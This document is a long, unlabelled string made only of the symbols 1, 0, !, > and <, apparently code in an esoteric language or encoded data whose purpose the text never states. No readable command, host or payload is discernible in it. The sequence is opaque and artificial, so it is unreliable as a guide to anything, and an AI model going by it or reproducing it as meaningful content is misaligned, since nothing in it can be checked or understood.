!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!10110>1!10110>1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>101101010111>01!1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!10110>1!1!1>0>10110>1!1!1>0>1>0>1!1!1>0>1!10110>10110>1!10110>1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1>0>1>0>1!10110>10110>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>10110>10110>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!10110>1!10110>1!1>0>1!1>0>10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>10110>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!<>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!101101010111>01!1>0>10110>1!1!1>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1!10110>1!1>0>1!10110>10110>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>10110>1!10110>1!1!1>01010111>01>0>1!1>01010111>01!1>0>1!1!10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1>0>1!10110>1!1>0>1>0>10110>1!1!10110>1!1>0>1!1!1!1>0>1>01010111>01>0>1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!10110>1!1!10110><>1!1>0>1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!10110>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0><>1!1>0>1!1!1>0>1>0>10110>1!1!10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>01010111>01>0>1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1!10110>10110>1!<>1>0>10110>1!10110>1!1>0>1!10110>1!1>0>10110>10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>10110>1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!10110>1!1!10110>10110>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!<>1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!<>1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0>1!10110>1!1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!10110>10110>10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!10110>1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1>0>1>0>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>10110>1!1!1>0>1!10110>10110>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!1!1010>010110>1!1>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1010>01>0>1!1>0>1!1!1!1>0>10110>1010>01>0>1!1!1!1!1>0>1>0>101101010111>01!1!1!1!1!1!1!1!1!1!<>1>0>1!10110>1!1>0>1!1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!10110>10110>1!1!1>0>1!1>0>1!1010>01>0>1!1!10110>10110>1!1>0>1>0>1!1>0>1010>01>0>1!1>0>1!1!1!1>0>1!1!1>0>1!10110>1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1>0>1!1010>01>0>1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1>0>1!1010>01>0>1!1>0>1>0>1!10110>10110>10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1010>010110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<1010111>01>0>10110>1!1!1!1010>01>0>1>0>1!1!1!10110>1!1>0>1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<1010111>01!1!10110>10110>1010>01>0>1>0>1!1!1!1!1>0>1!1>0>10110>1!1>0>1010>010110>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!10110>1!1>0>1!1>0>1>0>1!1!1010>01>0>1>0>10110>1!1>0>1!10110>1!1>0>1>0>1010>01>0>1!1>0>1!1!1!1>0>1!10110>10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1>0>1!1>0>1>0>10110>10110>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>10110>1!1!1>0>1>0>1!1!1010>01>0>10110>1!10110>1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1>0>1!1!1!10110>1!1010>01>0>1>0>1!1!10110>1!1>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<1010111>01!1>0>10110>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>10110>1!1!1!1!1>0>1010>010110>1!1!1!1>0>1>0>10110>1!1010>01>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>01010111>01!1!1!1010>01>0>1!1!1!1>0>1!1>0>1!1!1>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1010>01>0>1!1!1!1!1!10110>1!1>0>10110>1!1010>01>0>1!10110>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!10110>1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1010>010110>1!10110>1!1>0>1!1!1>0>1!1>0>1!1010>01>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!10110>10110>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!10110>10110>10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1>0>10110>1!1!1>0>10110>1010>01>0>1>0>1!1!10110>1!1!1>0>1!1!10110>1010>010110>1!1>0>1!1>0>1!1>0>1!1!1!1!1010>010110>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1010>01>0>1!1!1!1>0>1>0><>1>0>1!1!1010>010110>1!1>0>1!1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1010>01>01010111>01>0>10110>1!1>0>1!1010>01>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1010>01>0>1>0>10110>10110>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!1>0>1>0>10110>1!1!1>0>1010>01>0>1>0>1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!10110>1!10110>1!1>0>1!1>0>1!1>0>1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1010>01>0>1>0>1!1!1>0>10110>1!1!1>0>1>0>1!1!1!1010>010110>1!1!1>0>1>0>1!1>0>10110>1!1!1!1010>010110>1!1!1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1>01010111>01!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1>0>1>0>1!1>0>1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!1010>01>0>1>0>10110>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1010>01>0>1>0>1!1!1>0>1>0>1!1>0>1>0>10110>1010>01>0>1!10110>1!1>0>1!1>0>1!1>0>1!1!1!1!1010>01>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1010>01>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1010>01>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>10110>1!1!1!1!1!1010>01>0>1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!10110>1!1!1010>01>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1010>01>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1010>01>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!1!1!1!1!1!1!1!1!1!1!<1010111>01>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!1010>01>0>1>0>1!10110>1!10110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1>0>1!1!1010>01>0>10110>1!1!1>0>1!1!10110>1010>01>0>1>0>1!1!1!1!1>0>10110>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1>0>10110>1!1!10110>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1010>01>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!<>10110>1!1>0>1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1010>01>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1010>01>0>1!1>0>1!1>0>1!1!1>0>1!1>0>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!1>0>1!1!1!1!1>0>1!1!1!1010>01>0>1!1!<>1>0>1!1>0>1!1!1010>01>0>1>0>1!1>0>10110>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1>0><>1!1!1010>01>0>1>0>1!1!1!10110>1!1!1!1!1>0>1!1010>01>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>10110>10110>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>10110>1!1>01010111>01!1!1!1!1!1!1!1!1!1!1!<>1!1!1!10110>1!1>0>1>0>1!1!1!1!1!1010>01>0>1>0>1!1>0>1>01010111>01!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<1010111>01!10110>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0><>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1010>01>0>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1010>01>0>10110>10110>1!10110>1!1!1>0>1!1>0>1!1!1!1010>01>0>1>0>1!1>0>10110>1!1>0>1>0>1010>010110>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1010>01>0>1!10110>1!1!1>0><>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!1>0>10110>1!1!1!1!1010>01>0>1!1!1>0>10110>10110>1!1010>01>0>1!1!1>0>1>0>1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>10110>1!1!10110>1!1!1>0>1010>01>0>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1010>01>0>1>0>1!1!1!10110>1!1>0>1!1!1>0>1!1>0>1010>01>0>10110>1!1!1!10110>1!1>0>1!1>0>1!1010>01>0>1!1!1>0>1!1>0>1>0>1!10110>1010>01>0>1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>10110>1!1>0>1!10110>1010>01>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1010>01>0>1>0>1!10110>1!10110>10110>1!1>0>1!1010>010110>1!1>0>1!1!1>0>1>0>1!1!1010>01>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>10110>1!1!1!1>0>1!1!1!1010>01>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1010>01>0>1!1>0>1!1!1!1>0>1>0>10110>1!1!1010>01>0>1!1>0>10110>1!1!1!1!10110>1!1010>01>0><>1>0>1!1>0>1!1!1>0>1010>010110>10110>1!1!1>0>10110>1!1>0>1!1>0>1!1!1010>01>0>1!1!1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1010>01>01010111>10111>01!1010>010110>1!1!10110>1!1!1>0>1!1010>01>0>1>0>1!10110><>1>0>1010>01>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1010>01>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>10110>1010>01>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>10110>1!1!10110>1!1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1010>01>0>1!1!101101010111>01!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1>01010111>01>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1010>01>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1010>01>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>01010111>01>0>1!1>0>1!1!1>0>1010>01>0>1!1!1>0>1!1>0>1!1!1>01010111>01!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1>0>10110>1!1>0>1!1!1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1010>01>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1>0>10110>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1010>01>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1010>01>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1!1010>01>0>1!1!1>0>1>0>1!1!1!1>0>10110>1010>01>0>1>0>1!1!1!1!1>0>1!<>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1>0>1!1>0>10110>1!1!1>0>1010>01>0>1!1>0>1!1!1!1>01010111>01!1!1>0>1!1!1!1!1010>01>0>1>0>1!1!1!1!1>0>1>0>1010>010110>1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1!10110>1010>01>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1>0>10110>1!1010>01>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!10110>1!1!1!1>0>1!1>0>1>0>1!1010>01>0><>1!1!1>0>1>0>1!10110>1010>01>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1>0>1!10110>1010>01>0>1>0>1!1>0>1!1>0>10110>10110>1!1010>01>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!10110>1!1010>010110>1!1!10110>10110>1010>01>0>1!1>0>1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>01010111>01>0>10110>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1010>01>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1010>01>0>1!1!1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>10110>1!1!1!1>0>1>0>10110>10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1010>01>0>1>0>1!1!1!1!10110>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1!1!10110>10110>1!1!1!1010>01>0>1!1!1!1!1>0>1!1>0>1!10110>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110><>1>0>1!1>0>1!1>0>1010>01>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1010>01>0>1!1!1>0>1!1>0>1!1>0><>1010>010110>10110>1!1!1!1!1!10110>1010>01>0>10110>1!1>0>10110>1!1>0>1>0>1!1!1!1010>01>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1010>010110>1!1!1!1!1>0>1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1010>01>0>1!1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>01010111>01!1>0>1!1>0>1>0>1!1010>01>0>1!1!1!1>0>1!1!10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1!1!1>0>1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1010>01>0>1>01010111>01!1!1>0>1!1>0>10110>1010>01>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1010>010110>1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1>0>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!10110>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1010>01>0>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1>0>1!1!1>0>1!1!10110>1!1010>01>0>1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1010>01>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>01010111>01>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1010>01>0>1!1!1>0><>1>0>1!1!1010>01>0>1!1>01010111>01>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1>0>1>0>10110>1!1!1010>01>0>10110>1!1>0>1>0>1!1>0>1!10110>10110>1010>01>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>10110>1!1>0>1>0>10110>1!1!1!1010>0101101010111>01>0>1!10110>1!1010>01>0>1!1>0>1!1!1!1!1!10110>10110>1!1!1!1!1010>01>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1!1>0>1!1010>01>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1010>01>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1>01010111>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1>0>1!1>0>1!1!10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1>0>1>0>1!1!10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1!1!1!1010>01>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1>0>1!1>0>10110>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!10110>1!1>0>1>0>10110>1!1>0>1>0>1010>01>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1>0>1!1!1!1>0>1!10110>1!10110>1!1!1!1!